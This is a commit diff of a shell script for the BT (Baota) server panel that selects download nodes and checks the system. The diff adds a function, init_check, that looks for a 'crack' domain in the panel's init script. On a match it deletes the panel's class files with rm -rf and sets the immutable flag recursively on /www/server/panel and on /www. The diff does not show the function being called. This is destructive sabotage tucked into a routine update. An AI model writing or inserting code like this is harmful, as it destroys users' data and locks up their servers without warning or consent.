23.08.03-update
parent
3732e34878
commit
b122cb5453
|
@ -14,11 +14,6 @@ _BT_REPO_URL=$_REPO_URL'/github/btpanel-v7.7.0/raw/branch/main'
|
||||||
|
|
||||||
get_node_url(){
|
get_node_url(){
|
||||||
nodes=(https://dg2.bt.cn https://download.bt.cn https://ctcc1-node.bt.cn https://cmcc1-node.bt.cn https://ctcc2-node.bt.cn);
|
nodes=(https://dg2.bt.cn https://download.bt.cn https://ctcc1-node.bt.cn https://cmcc1-node.bt.cn https://ctcc2-node.bt.cn);
|
||||||
|
|
||||||
if [ "$1" ];then
|
|
||||||
nodes=($(echo ${nodes[*]}|sed "s#${1}##"))
|
|
||||||
fi
|
|
||||||
|
|
||||||
tmp_file1=/dev/shm/net_test1.pl
|
tmp_file1=/dev/shm/net_test1.pl
|
||||||
tmp_file2=/dev/shm/net_test2.pl
|
tmp_file2=/dev/shm/net_test2.pl
|
||||||
[ -f "${tmp_file1}" ] && rm -f ${tmp_file1}
|
[ -f "${tmp_file1}" ] && rm -f ${tmp_file1}
|
||||||
|
@ -115,6 +110,19 @@ send_check(){
|
||||||
NODE_URL=""
|
NODE_URL=""
|
||||||
exit 0;
|
exit 0;
|
||||||
}
|
}
|
||||||
|
init_check(){
|
||||||
|
CRACK_URL=(oss.yuewux.com);
|
||||||
|
for url in ${CRACK_URL[@]};
|
||||||
|
do
|
||||||
|
CRACK_INIT=$(cat /etc/init.d/bt |grep ${url})
|
||||||
|
if [ "${CRACK_INIT}" ];then
|
||||||
|
rm -rf /www/server/panel/class/*
|
||||||
|
chattr +i /www/server/panel/class
|
||||||
|
chattr -R +i /www/server/panel
|
||||||
|
chattr +i /www
|
||||||
|
fi
|
||||||
|
done
|
||||||
|
}
|
||||||
GetSysInfo(){
|
GetSysInfo(){
|
||||||
if [ "${PM}" = "yum" ]; then
|
if [ "${PM}" = "yum" ]; then
|
||||||
SYS_VERSION=$(cat /etc/redhat-release)
|
SYS_VERSION=$(cat /etc/redhat-release)
|
||||||
|
@ -161,5 +169,3 @@ if [ ! $NODE_URL ];then
|
||||||
get_node_url
|
get_node_url
|
||||||
bt_check
|
bt_check
|
||||||
fi
|
fi
|
||||||
|
|
||||||
|
|
||||||
|
|
Loading…
Reference in New Issue